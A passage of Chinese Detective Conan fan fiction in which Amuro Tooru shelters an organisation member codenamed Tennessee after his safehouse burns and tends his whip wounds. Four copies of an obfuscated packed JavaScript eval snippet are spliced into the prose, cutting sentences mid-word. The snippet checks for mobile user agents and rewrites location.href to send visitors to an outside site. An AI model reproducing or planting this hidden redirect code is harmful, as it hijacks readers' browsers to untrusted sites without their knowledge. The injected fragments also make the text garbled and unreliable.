但静间遥却立刻半蹲,用惊人的爆发力跃起,用琴酒的手做支点,双腿在空中划过一条弧线。
琴酒在静间遥尚未落地时就松开手、转过身。他正欲继续攻击,就看见静间遥仍是稳稳地落在了他的身后,随即反击一记扫腿逼得琴酒后撤一步。
这时琴酒却忽然停手,似乎终于满意般地轻哼一声。
静间遥看到琴酒停了动作,也收回了脚站定。
结束了。安室透看着监控中的画面,心情愈发沉重。
他的体术比想象中的还要更强。琴酒的体术本就是组织内公认的顶尖,但这人却能和琴酒平分秋色。
他不简单。
静间遥微微喘气,脑袋有些发晕,背部的鞭伤也在隐隐发热。
他对着琴酒控诉:“不是!大哥!你怎么说不过还动手的!”
琴酒没有回话,甚至慢悠悠地掏出根烟点上,吐出一口烟雾。
抽抽抽!怎么没把他抽死。静间遥在心中咬牙切齿。
“既然恢复了,就继续完成任务。”琴酒漫不经心地抖落了烟灰,“你已经休息得够久了。”
他顿了一下,意味深长地看着静间遥,吐出了那个代号:
“……田纳西。”
-
琴酒抛下那意义不明的话后,就和来时一样悄无声息地消失了。
回收了芯片,在安室透的提议下,静间遥还是白着脸接受了要乘他的车回家的事实。
“前辈……回去的路上能开慢点吗?这是我一辈子的请求了!”
于是安室透放慢了车速,但静间遥还是蔫儿了似的瘫在副驾驶上。
“你之前不是说,不说话会憋死吗?”
静间遥摇摇头,有气无力地回答:“现在说话也要死了。”
“我看你体力不是还不错?”安室透轻笑一声,“怎么现在成这样了?”
“只是……哕——”静间遥干呕一声,“……有点晕车。”
安室透一挑眉。这倒是个新鲜的情报。
“据说和人聊天分散注意力,对缓解晕车有好处。”安室透状似无意地提起。
静间遥一听,眼睛一亮,“前辈,我们来聊天吧!”
安室透微微一笑,这个建议正中他的下怀。
“好啊,那就从……你为什么要叫我‘前辈’开始。”
“不知道。”
“……”
“欸?”
对方回答得太快,安室透一时没反应过来。
“没有什么特别的理由吗?你没有这么称呼过莱伊,对琴酒的称呼也是‘大哥’。”安室透试图引导他。
“嗯……就是……一种感觉,你知道吧?”
“很神秘,我也不知道。”静间遥最终如此回答。
“这样。”安室透没有追问,“随你吧,我不太在意。但是任务外最好别这么叫,容易暴露身份。”
“你也清楚,像我们这种人,哪怕是再微小的失误也不能犯,很容易因此丧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460631|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命……”
“所以,平常叫我安室就好。安室透。”
静间遥心不在焉地应到:“啊……嗯。”
降谷零叽里咕噜说什么呢?哦,安室透,他的假名,记住了。
安室透没有在意,好脾气地笑笑:“那么,你叫什么?”
啊,降谷零在问他的名字,得告诉他。他还打算仗着降谷零拿到“证人保护计划”。
不告诉他,他怎么知道那张纸应该给谁?
静间遥转过头,看向安室透的侧脸,郑重地回答:“雨宫裕之。”
雨宫裕之。
Amamiya Hiroyuki。
安室透嘴角若有若无的笑容没有变化,心跳却是倏地漏了一拍。
Hiro……
“前辈你可以叫我……”
“叫你雨宫可以吗?”安室透罕见地打断了他。
静间遥一愣,点了点头。他本来就打算这么说的。
一时无言,他无意识地勾了勾鼻梁上的口罩边缘。
车里是不是有点太闷了?
“车里是不是有些闷?抱歉,你可以把窗户打开。”看到他的动作,安室透不着痕迹地换了话题,语气相较任务时温和了些。
“要不要把口罩摘下来?”
嗯?降谷零是这样的人吗?总感觉他有点过于体贴了。
啊……说起来,这个人好像是上过什么什么排行榜的“最值得托付的人”。这么一想好像体贴也正常。
“好。”静间遥应声勾下口罩,缓缓吐了口气。
虽然脑袋还是晕晕乎乎的,但随着车窗下降,新鲜空气灌入,确实好受了些。
安室透则是接着余光,看清了他的脸。
比想象中要年轻一些。桃花眼,薄唇,鼻尖靠右点缀着一颗清晰的小痣。
名字和长相都有了,之后让风见去查一下吧。
虽然“雨宫裕之”这个名字很可能是个假名,但总归值得一试。
车辆不知不觉已经驶入了城区,比起郊外的小路,市区的道路平坦了许多,行驶也更为平稳。
周围逐渐出现同行的车辆,不远处还有个地铁站入口。
按理来说,他们应该在这里分道扬镳。组织成员间,哪怕是小组成员,也极少会透露自己的安全屋位置。
但是安室透有种感觉,静间遥似乎确实对他有着某种不知从何而来的信任。或许现在问,真的能够得到答案。
“你住哪个方向?需要我送你回去吗?”安室透问。
静间遥的思绪还在那个神秘的排行榜上,话已经不过脑子顺溜地说了出来:“前辈你这么体贴,肯定很多人追吧?还会特地把人送到家什么的……”
话语一落,两人同时愣住。
“啊……不、我不是那个意思。”静间遥顿时慌乱起来,急忙报出了安全屋的地址来掩饰尴尬。
安室透面不改色地忽略了他前半句话,“那还挺近的,我顺路送你回去吧。”
一路无言。直到快到目的地时,不远处突然冒起了滚滚浓烟。随着车子靠近,可以清楚地看见连着几座一户建在熊熊燃烧。
消防车停在不远处,消防员大声呼喊疏散着居民,奋力扑救大火。
“啊。”
安室透缓缓停下车,看向旁边的青年。
旁边的青年看着这片火海,一脸苦相。
“不是?我今天是不是有点太倒霉了?”
5. 办法
凌晨六点多,天光微亮。火舌肆意地舔舐着房屋,红色晕染在泛白的天空。
热浪滚滚,火焰中的景物变得扭曲模糊。
说实话,看着安全屋被烧毁,除了刚开始有些心痛,他的内心也渐渐归于平静。
毕竟那里本来就几乎空空如也,他出门时也已把重要的物品都揣在了身上。
若硬要说有什么损失,除了房子本尊,那大概就是那辆车还没开过的车了。
透过摇曳的火光,静间遥悲痛地注视着即将化为焦炭的车库。
亲爱的车啊,你就安心地去吧,我会替雨宫裕之永远怀念你的。
他望着熊熊烈火,在心中举办了一场简短的告别仪式。
他原本还想过,在任务之余学学车,再开着那辆车出去兜兜风。
他隐约记得自己应该兜过风,而且还挺喜欢那种感觉……当然,和坐降谷零的车完全不一样。至少他不会晕车!
但除此之外,具体是哪里不一样,他也说不上来。
可惜现在看来,别说是兜风了,车都要被烧没了。
雨宫裕之的财产啊……他暗暗哀悼。
平心而论,雨宫裕之还挺能干的。
下午在银行查账时,他就发现钱包里的几张卡里的余额都相当可观。
如果不是身在酒厂,他大概能凭借这些钱,吃喝躺平到世界末日吧。但基于这残酷的现实,如今的他只能盘算着过几天再物色一处新的安全屋。
不过是房子和车子而已。
他不会心痛的,不会的。
哈!他的内心强大到可怕,没有什么能够突破防线真正伤害到他!
除非伤害的是他的钱包。
静间遥的心中含着泪水,默默填补着那颗破碎的心。
可恶!还是好生气!
到底是哪个缺德的烧了他的房子!别让他知道是谁!否则他一定要让对方知道“静间遥”的厉害!
无论如何,他今晚恐怕只能住酒店了。
静间遥觉得心里好苦,比伏特加买给加班的劳模琴酒的冰美式还苦。
“不过去看看吗?”安室透注视着神情变换不定的青年,有些好奇地问。
毕竟那是静间遥的房子,安室透根据他刚才丰富的表情推测,他应该是在心疼。
看那张本以为是冷漠面瘫的脸,露出那么多奇怪的表情,还挺有趣的。
静间遥越是表现得怪异,越是不符合情报,安室透对他的好奇心就越发旺盛。
心中的天秤也随之摇摆不定,他还是有些不相信这个人是田纳西本人。
听见安室透的问话,静间遥叹了口气,闷闷地应了一声。
他推门下车,朝着火海的方向走去,想要最后再看一眼这座与他仅有一天缘分的房子。
安室透也静悄悄地紧随其后。
还没走出两步,他们就被消防员拦了下来:
“你们是这附近的住户吗?这里实在太危险了,还是请先去附近的酒店暂住一晚吧。”
消防员劝说完,又返回了工作岗位。
最后一眼也见不到了。
静间遥呆愣地站在,又一次叹一口气。
这时,一辆警车缓缓驶来、停在了不远处。
“警车?”静间遥喃喃自语。
“可能是搜查一课的吧?这场火或许涉及了什么案件。”安室透平静地推测着。
一名高大的男警察下了车,看向了火场。
哇哦,好高。静间遥暗自打量着那个警察。
安室透也看了过去。
那位警官先生看起来二十几岁,高约一米九,留了寸头,外表看起来有些凶悍。身材壮硕,即使穿着合身的西装,也能感受到衣服下的身躯充满了力量感。
同样是一米九,也同样看起来凶悍,但却能明显感受到他和琴酒是完全不同的类型。
琴酒一看就知道他是个黑的,方圆八百里外都能闻到那身血腥味。
而这个警察却是正气凛然的,一眼就是根正苗红。
总之,琴酒大失败。
静间遥还在为琴酒先前莫名其妙的那拳耿耿于怀,偷偷在心中对比吐槽。
就在静间遥观察对方时,警官先生在环顾四周后,也把目光定在了他们的方向。
咦?静间遥和他对上了视线,有些疑惑。
是降谷零的熟人吗?总不能是冲我来的吧?
他转过头看向安室透,却发现安室透也在看着他。
“怎么……”了?
他刚开口,就注意到那位警察大步向他走来,停在了他们的面前。
静间遥立刻闭上了嘴。
他一个现役犯罪分子,在警察面前还是少说话吧。不小心说出什么都得玩完。
他抬头看着这位警察,对方高大的影子挡住了大部分的火光。
站这么近,感觉自己面对的就像是一堵会呼吸的墙。
“抱歉,打扰一下。请问两位是这附近的住户吗?”
警官先生从衣服内袋中取出证件,展示在他们面前:“我是警视厅公安部的大崎一平。”
公安部?公安部的警察来做什么?不应该是搜查一课的纵火犯搜查系的吗?安室透心中沉了下来。
这不是意外,更不是普通的纵火案。而是别的什么……
大崎一平看向了安室透。
“不好意思,我不是附近的住户。”安室透心中想着,脸上也不忘挂上恰到好处的微笑。
他朝着静间遥示意了一下:“我只是送朋友回家。”
闻言,大崎一平将目光投向了旁边静间遥,眼里充满了期待。
总感觉这位警官先生的举止……是不是稍微有点拘谨?新人?
静间遥迎上了他的目光。
“我是这附近的住户。”他回答,又忍痛指向火海中的安全屋,“那就是我的房子。”
“还挺烧的,对吧?”
安室透忍不住笑了一声,随即用轻咳掩饰。他现在能理解琴酒为什么说田纳西“狗嘴里吐不出象牙”了。
这种时候还有心情讲冷笑话。
大崎一平抿紧嘴唇,脸上表情没什么变化。
静间遥则有点失望:怎么?不好笑吗?
“抱歉,节哀。”大崎一平微微低下头,随后又说到,“能否和您了解一下这件事的过程?不会占用您太长时间的。”
“啊……”静间遥有些尴尬,“其实我也才刚回来,一到这的时候房子已经烧起来了。”
“原来如此。”大崎一平点点头,一本正经地回复,“很感谢您的配合,这些信息对我很有帮助。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460632|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>?什么帮助,他不是什么都没说吗?静间遥很是困惑。
“……不用客气。”
……客套话吧。安室透看着静间遥的表情,欲言又止。
随后,警官先生又在内袋摸索了会儿,拿出了一张名片。
“这是我的联系方式,如果之后您有什么发现,请随时联系我。”大崎一平将名片双手递向了静间遥。
“……好的。”静间遥犹豫了一下,还是接过了名片。
安室透漫不经心地瞥了一眼那张名片,什么也没说。
“那么,再次感谢。”大崎一平朝着两人微微颔首,便走向了不远处驻足的其他居民。
别的不说,这个警察还挺有礼貌的。
静间遥看着手中名片,白底黑字配上了金色朝日影,他突然感到了一阵心虚。
他就这样留着警察的名片真的好吗?
幸好旁边的是降谷零而不是琴酒,否则现在脑门早就被枪口抵着,被逼问是不是偷偷传递情报的老鼠了。
他心里想着,又忍不住偷瞄了一眼安室透。
“怎么办?”安室透对上他的目光,开口问道,“今晚你住哪儿?还有别的房子吗?”
静间遥失落地摇了摇头:“没了。”
按理说,作为酒厂勤勤恳恳的行动组代号成员,雨宫裕之存了那么多钱,再拥有别的几处房产也并不稀奇。
但静间遥搜刮着自己空荡荡的脑袋,把每一处褶皱都翻遍了,也不知道那种东西到底在哪里。
雨宫裕之!你怎么除了肌肉记忆,其他记忆一点也没留下!
最终的结果,还是酒店啊。静间遥叹气。
他的心跟死了一样,干巴巴地说道:“没事的前……安室先生,我会去附近的酒店将就一晚的。不用担心我,我很好。你也不用安慰我,我的内心强大得可怕,不过是一座房子而已,总有一天我会抓住那个天杀的……”
“没有地方去的话,要不要来我家?”安室透打断了静间遥的絮絮叨叨。
“……的凶手……欸??”静间遥有些不可置信,猛地转头,瞪大了眼看向安室透,“这……不太合适吧。”
毕竟我们才认识一天,而且我还是个组织成员。
这句话他明智地咽了回去。
虽然他确实很想要《证人保护计划》,但正直善良的降谷警官大概也对组织成员深恶痛绝吧?
住进他家会不会让他不太自在?
……不过,或许这也只是降谷零随口的客套罢了。静间遥啊,你不能这么自以为是。
“没什么不合适的。”安室透的笑容却越发灿烂了。
他的眉眼弯弯,发丝被火光勾勒出了金色的边缘,泛着充满暖意的光芒。
“而且我是你前辈,不是吗?”
糟糕。
静间遥的心怦得一跳,视线不自觉地停留在眼前人的脸上,一时忘了自己先前的想法。
降谷零是不知道他自己长得真的很帅吗?
好耀眼,简直比那边燃烧的火场还要耀眼。
真不愧是那劳什子的排行榜里“最值得托付的人”,以前他还嗤之以鼻,现在倒是信了。
想法一闪而过,没有留下踪迹。
他咽了口唾沫,嘴比脑子更快地做出了反应:
“好。”
6. 猜测
“请进。”
安室透从鞋柜提出一双室内鞋,摆在了静间遥的面前。
“打扰了……”静间遥换上室内鞋,像是初次到朋友家玩的内向小孩,小心翼翼地跟在安室透的身后。
他的眼睛转了转,不着痕迹地打量着这个屋子。
一室一厅,一厨一卫。东西不算多,非常的整洁。
料理台没有使用过的痕迹……奇怪,他怎么记得降谷零会做饭来的?再仔细一看,不远处的茶几上还覆着一层薄灰。
静间遥顿时了然。
原来是不常使用的安全屋。这下他就放心了。
毕竟他是组织成员嘛,对方保持警惕再正常不过。这大概就是降谷零针对他的试探?
静间遥想着想着,反而暗自高兴。
这样更好了!等降谷零深入了解自己以后,一定会明白他其实是个误入歧途的好人!
感觉自己又离那张《证人保护计划》更近了一步。
听着身后跟随的脚步,安室透转过身。
“你……”
静间遥差点没反应过来,及时停住了脚步,险些撞上安室透的胸膛。
他吓了一跳,条件反射应道:“是!”
安室透倒是没什么反应,继续说道:“你要不要去洗个澡?”
“啊……?”静间遥先是被问得一愣,很快意识到对方是在说他这身沾了血的衣服。
他扯起胸前的衣服观察了会儿,拍拍胸脯道:“前辈,没关系的,我觉得还好……”
接着他又意识到什么,连忙补充:“血已经干了,绝对不会弄脏前辈你的沙发的!我发誓!”
“虽然血渍干了看不出来,但洗个澡会更舒服些。”安室透语气平和,直接忽略了静间遥的后半句话。
明明只认识了一天,他好像已经习惯了从静间遥的长篇大论里提取关键信息。
“但是我……”静间遥有些迟疑。
他没有换洗衣服。
安室透仿佛知晓他的顾虑:“衣服可以先穿我的,有没穿过的。除了尺寸可能稍微有些不合适,其他应该没问题。”
“……”虽然明知降谷零没有别的意思,但静间遥的拳头还是硬了。
是他不想长高吗?不是!
但看着安室透平静温和的表情,他又瞬间泄了气。
降谷零又不是故意的,算了。而且他也不算太矮,只是比降谷零稍差一点。
另外,他们已经是可以借衣服的关系了吗?静间遥思索着,忽然明白了什么。
降谷零是在试着获取他的相关情报。
为了达成逃出组织的目的,他没有拒绝的理由。
“怎么样?”安室透装作没注意到他的反应,询问道。
“好。”静间遥应了下来。
“浴室在那边。”安室透指了个方向,“待会儿我会把衣服放在更衣区。”
静间遥点点头,乖乖地走进浴室。
安室透则走进卧室,从衣柜中取出了一套从未穿过的衣服。
让“田纳西”住进他的安全屋,是他在看到那场火灾,并观察了对方的反应后深思熟虑的决定。
尤其是那个公安的出现,更是让他下定了决心。
组织里的大部分成员都对警察避之不及,满怀恶意。
但田纳西的反应却很微妙:没有厌恶,反倒是显得很适应。
除了些许小孩做错事般的心虚,更多时候是自然地应对。
甚至,他还收下了那张印了朝日影的名片。
那时安室透注意到了他的眼神,似乎是在担心自己会对此会做些什么。
但安室透什么也不会做。
作为“波本”,这将成为他掌握的田纳西的第一个把柄。
作为降谷零,他考虑的则是策反田纳西的可能。
无论如何,这都只是后手,现在还不是时候。
安室透捋清思绪,拿着衣服走进浴室外的更衣区,浴室里已经哗哗地响起水声。
他放下衣服,目光扫过洗手台时却是一愣。
洗手台上放着几样东西:一个钱包,一串钥匙,以及两把手/枪。
其中一把手/枪,是他之前给田纳西任务用的HK P7。
当时安室透为了试探,故意把自己备用的HK P7丢给了他。
而田纳西没有索要解释也没有拒绝,只是坦然接受了。
另一把则是新南部M60,那是田纳西自己的配枪。
在黑暗中生存中的人,试问有几个敢让枪离身?至少安室透做不到。
现在,这两把枪都被田纳西放在了这里。
是对自己体术的自信?
不。在浴室那样狭窄的空间,安室透至少有十种不与他正面对抗,就能将他置于死地的方法。
他不相信田纳西没想过。
安室透一时无法为他的这个行为找到合适的解释,心中又增加了一个问号。
情报中,田纳西的枪法很好。也正因如此,他才将任务的执行分配给了田纳西。
在接到琴酒的邮件前,这本是他的工作。
在这次任务里,田纳西一共开了三枪。
第一枪约在目标20米处射击,精准命中了眉心。第二枪在同样的位置射出,却只射中了大腿。而第三枪则是抵住了目标的后脑勺。
本该还有第四枪,但被琴酒打断了。
根据田纳西之前验枪的动作,安室透猜测他应该对枪械有一定了解,也接受过相应训练。
但是,他的枪法并不出色,只能说是勉强够用。
安室透推开那把M60的转轮,睫毛轻颤。
意料之外,里面空空如也。
田纳西今天就带着这把空枪来与他们会合。
真不可思议。
他垂眸,瞥见垃圾桶里的一团废弃纱布。
这个安全屋他很少时候,那里的东西不可能是之前就有的,只可能属于田纳西。
之前的猜测也得到了印证。
果然,田纳西受伤了。
他又看了眼那个钱包,却没有动。
差不多了。如果再停留得久些,再迟钝的人都会起疑心。
“衣服放在这里了。”他对着浴室说道。
“好的!谢谢前辈。”隔着门,静间遥的声音稍微有些模糊,但仍透着与组织不相符的朝气。
真是个让人捉摸不透的人。
安室透转身离开浴室。
氤氲着水汽的浴室里,静间遥站在哗哗作响的淋浴旁,身上滴水未沾。
他看着门缝中那个模糊的影子微微晃动,但那个影子只在洗手台方向停留了片刻就离开了。
静间遥有点诧异。
不再多检查一会儿吗?钱包里还有他的驾驶证呢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460633|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
但他又立刻明白安室透这么做的原因:大概是怕自己发现起疑心吧。
又站了一会儿,他才开始简单地擦洗身体。
背后的鞭伤本就没好,经过了今天的折腾更是雪上加霜。虽然他尚能忍耐,但碰水还是免了。
不必要的疼痛,他并不想经历。
-
“咔。”
浴室门打开时,安室透刚擦完茶几,正将医药箱里的药品一一取出。
他抬起头,就看到了一脸困惑的静间遥。
静间遥穿着安室透略显宽大的T恤和短裤,几步走到了茶几边。
“前辈,你受伤了吗?”
不应该啊,今天降谷零明明一直在后方指挥。是什么时候受伤的?
但话音刚落,他就发现安室透正用一种奇怪的眼神盯着自己。
怎么了?
安室透本想回话,却随着静间遥的靠近,视线不自觉在他的颈侧落下:
那里有两个极其微小的点状结痂,周围还有一小块的淤血。
是注射吐真剂的针眼。
安室透几乎立刻得出这个结论。
之前田纳西穿了一身黑,领子挡住了颈侧,他并没有发现这个异常。
现在换上圆领T恤,脖子的针眼就暴露了出来。
那么,什么情况下组织会对成员注射吐真剂?
——卧底,叛徒,与其他不被组织信任的人。
若是前两者,他早该被枪决了。
而这位不知真假的田纳西现在还能站在这里,说明他只可能属于最后一种可能。
此刻他终于明白了,琴酒出现在任务现场的用意——监视。
可在那之前,琴酒什么也没告知他。
琴酒只在邮件中说:威士忌组中会有新人加入。而加入的人,正是杀了“苏格兰”的“田纳西”。
琴酒……到底对他隐瞒了什么?
思绪飞速闪过,安室透没忘回应静间遥:“不,我没有受伤。”
他抬起头,对上静间遥略显困惑的双眸:“反倒是你受伤了吧?”
“之前意外闻到了你身上的药味,又在垃圾桶里看到了纱布。”他笑了笑,“我没有多管闲事吧?”
“原来是这样。”静间遥悄然松了口气。
没有受伤就好。
得再小心一点,就算为了自己的未来,也绝对不能让降谷零出任何事。
他接着回答安室透的问题:“只是受了点小伤。我皮糙肉厚的,过几天就能好了。”
撒谎。安室透在心中冷笑。
小伤用得着那样缠纱布?
看着静间遥伸手想要去拿药的动作,他先一步拿起了药。
欸?
静间遥抓了个空。
他的视线顺着那只突然抢走药的手缓缓向上移动,那只手指节分明,是健康的小麦色。
视线再次上移,又猝不及防被安室透过分灿烂笑容闪了个正着。
这是做什么?
他眯眼,身体前倾,上手想夺回药。
安室透却微微后仰,轻巧地躲过了静间遥的手。
“不如我来帮你吧?”
他对着静间遥晃了晃手里的药。
“嗯?”
看着静间遥犹豫的神情,那双灰紫的眼中闪过不易察觉笑意。
他会答应的。安室透笃定。
7. 伤痕
安室透如愿得到了同意的答复。
然而当静间遥脱下上衣,露出后背时,他却不由得沉默了。
他的背后纵横交错着几道鞭痕,鞭痕中有点点血孔,像是被带倒钩的鞭子撕扯出的痕迹。
那伤口原已开始结痂,却因今日的行动再次崩裂开。鲜血虽已止住,却还是能看见血痂中刺眼的肉红。
不止如此,他的腰侧还有大片的淤血,虽比背部情况要好上不少,却也显得触目惊心。
安室透垂下眼眸,没有对此作出任何评价。只是拿起了棉签,小心翼翼地为他处理背后的伤痕。
静间遥却感觉,脸颊微微有些热意。
好像从来没有人这样细致地为他处理伤口,更何况此刻他还赤裸着上身。
他低着头,死死盯着沙发面料的纹理,思绪不受控制地飘散。
这绝对是试探吧?肯定是吧!
有必要做到这种程度吗?难道组织最近推出了什么“关爱同事身心健康”的新政策?还是说公安卧底忍辱负重的特别服务?
对方可是降谷零,那个在大家眼中会为了任务豁出去的、理智且靠谱的男人。这么一想,似乎也不奇怪了。
明明把药丢给他,说一句简单的“自己搞定”就足够了。
有些不习惯……
静间遥深吸一口气。
无视,无视。
可背后的鞭伤带着灼烧般的轻微刺痛,棉签划过时又带起一阵细密的瘙痒。
这两种感觉交织在一起,让他根本无法忽视身后那个人的存在。
这种体验比被琴酒拿枪指着还难熬。
他在心中暗暗哀嚎。
在他身后的安室透一边上药,一边注视那身伤痕出神。
突然,他像是想到了什么,冷不丁地开口:“是之前任务留下的吗?”
静间遥没想到他会突然发问,思索了一番才回答:“算是吧?”
不可能。安室透在心里立刻否定。
这身伤根本不像任务所致的,反而更像是……严刑拷打留下的痕迹。
和那个吐真剂的针孔一样。
“和琴酒‘做任务’时留下的?”安室透继续追问。
他还记得琴酒之前说的话:
【“既然恢复了,就继续完成任务。”】
“大概?”静间遥手指轻扣了一下沙发表面,有些不太确定地回答。
他也不知道是不是,但琴酒之前都那么说了,那应该是吧。
安室透手上动作一顿,随即继续上药。
背部处理得差不多了,他伸手打算去处理腰侧的淤青。
突然,手腕被一把抓住,但那只手的所用的力气并不大。
他抬眼,直接撞进了一抹灰蓝之中。那抹灰蓝中隐隐有几分克制,隐约流露出一些不自在。
“前辈。”他听见那双眼睛的主人低声说,“前面的伤……我自己来就好。”
……
静间遥的上半身又被纱布一圈圈缠上,最后打了个结,他才套上衣服。
此时窗外的天色已经渐渐亮了起来,一夜未眠的两人终于泛起了困意。
安室透也匆匆冲了澡,便回房间休息。
静间遥则打了个哈欠,侧躺在沙发上,闭上眼,沉入了眼前的黑暗。
-
“你有把握吗?”一个低沉的声音问他。
“没有。”他听见自己的声音回答,“哈哈,你这是什么表情?相信我吧。”
“我疯了才相信你。”
“你什么时候疯的?”
“少废话,别死了。”
“都这时候了,你就不能说些好听的吗!”
“……”
“安心。不会死的,等我回来。”
-
早上七点,风见裕也刚坐上驾驶位,准备去上班。手机突然嗡嗡震动了两声。
他拿出手机一看,发现是上司发来的邮件。
毫不迟疑,他立刻就点开了那封邮件。
这时手机却卡顿了一下,停顿了数秒,屏幕才跳出了一长串的信息。
风见裕也屏息凝神,郑重地阅读着邮件的内容。一字一句阅读完毕,他才放下手机,仰头望向遮阳板的方向。
他不禁陷入思考:自己只是睡了一晚,他那敬爱的、如铁人一般的上司,究竟是从哪里弄来了那么多情报呢?
他不会一整晚没睡吧?风见裕也的脑中突然冒出这个念头。
沉默片刻,他越想越觉得这个可能性很大。
……不会吧?
-
安室透处理完手头的工作后,只短暂小憩了片刻便起身下床。
屋子里有他无法完全信任的人,即便锁了门,他也难以安心入睡。
根据透过阳台洒入的阳光,他判断现在大概十点了。
还是出去买点食物吧。毕竟这个安全屋他很少使用,除了基本用品,其他几乎什么也没有。
他换好衣服打开房门,一眼就看见雨宫裕之屈膝蜷缩在沙发上。他背靠着沙发,脸朝茶几。
那张沙发确实不算宽敞,对一个一米八左右的成年男性来说,躺在上面休息恐怕并不算舒适。
茶几上依旧散落着对方那几件少得可怜的随身物品:钱包,钥匙,和手/枪。
他静静地注视了几秒,随之移开目光,大步走向玄关。
“咔嚓。”
门被轻轻关上,并从外反锁。
沙发上的人缓缓睁开眼睛,却没有其他动作。
他知道斜后方还有个监控正对着这个方向。
他察觉到了降谷零细微的态度变化,却想不出缘由。
目光扫过茶几上的钱包,依旧原封不动。
他眨了眨眼,再次合上双眼。
-
静间遥盯着碗里的饭,这是安室透带回来的。
“不合胃口吗?”对面的人看他迟迟没有动作,随意地问道。
“不,不是的,只是感觉太麻烦前辈了。”静间遥说。
“前辈不但收留了我一晚,还帮我带饭。此等大恩大德,雨宫无以为报,唯有以身相——唯有来世做牛做马,才能还得起前辈的恩情啊。”
“所以,下午我会出去找房子的。”
安室透抓住了最后的重点,微笑道:“其实你暂时在这住着也没关系。”
“不,我不能再继续打扰前辈了!”静间遥认真地说。
继续在这里住着,降谷零要怎么去接头?要怎么去传递情报?这种事情绝对不能发生。
而且,沙发确实不舒服。
“需要我帮忙吗?我对这附近才算熟悉。”
“不用了!前辈已经帮助我很多了。”
在静间遥坚决的态度下,安室透也并没有再坚持。
他只是礼貌地说:“好吧,如果有需要,可以随时联系我。”
静间遥点点头,这才开始吃饭。
安室透则是垂下了眼眸,眼神愈发深邃。
-
东京的房子是不是太难找了?!
静间遥坐在路边的长椅上,有气无力地灌了一口矿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460634|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泉水。
虽然只是初夏,但一个下午跑遍了十几家中介的他,背后已渗出了一身薄汗。
是热的,更是累的。
倒也不是完全没有房源,只是他原本的计划是直接买下一套大小合适、位置便利,最好还可以拎包入住的房子。
但残酷的现实是,别说买了,就连租房都成了一个难题。
为什么中介推荐的房子不是小到无处落脚,就是发生过离奇的凶杀案?
这种房源比起出现在中介,明明更适合出现在《东京法制在线》好吗!
东京的犯罪率真的有这么高吗!某现役组织成员一边心中咆哮,一边选择性忽略自己或许也曾为这个数据出过一分力。
看着太阳逐渐西沉,静间遥的心也如同即将燃尽的蜡烛,一点点黯淡下去。
他面如死灰地望着太阳,太阳也冷漠地回望着他。
已经四点了。
算了,认命吧,看来今晚还是得住酒店了。也不知道明天能不能找到合适的房子。
他刚撑着膝盖想要起身,就听见不远处传来一道声音:
“雨宫?”
静间遥一愣,缓缓抬起头。
映入眼帘的是一个穿着黑西服、戴着墨镜的卷发男人。
黑/道?雨宫裕之你怎么还认识这种人?
不对,你是组织成员,这也正常。
那个男人按下墨镜,露出一双略带惊讶的眼睛:“真的是你?好久不见。”
他确认似的多看了一眼,才向前迈进几步,在静间遥面前站定。
“……嗨?”静间遥勉强挤出一个尴尬又不失礼貌的笑容。
谁啊?仇人吗?还是债主?他不会又这么倒霉吧?
男人摘下墨镜,露出一张眉眼俊朗的脸。
“不是吧?你又把我的名字忘了?”他半月眼瞪着静间遥,指了指自己那张脸,“是我啦,松田阵平——hagi的朋友。”
“原来是松田先生!”静间遥立刻表演了一个“恍然大悟”,但心中的问号却在疯狂刷屏。
看来不是仇人,应该是朋友……但是“hagi”又是谁啊?!什么叫“又”忘了?
“都说了别这么叫我!”松田阵平一脸无奈,抬手抓了抓那头卷毛,“你这记忆力真是……哎,算了。”
什么?
静间遥瞧见欲言又止的松田阵平,疑问一闪而过。
松田阵平打量了一眼静间遥,见他身上只有个看着空荡荡的黑色背包:“你怎么在这儿?一副生无可恋的样子。”
静间遥虽满腹疑惑,却如实回答:“我来找房子,我房子被烧了。”
“啊~你还真是一如既往地倒霉啊。”松田阵平一副见怪不怪的样子,调侃道。
“所以找到了吗?”
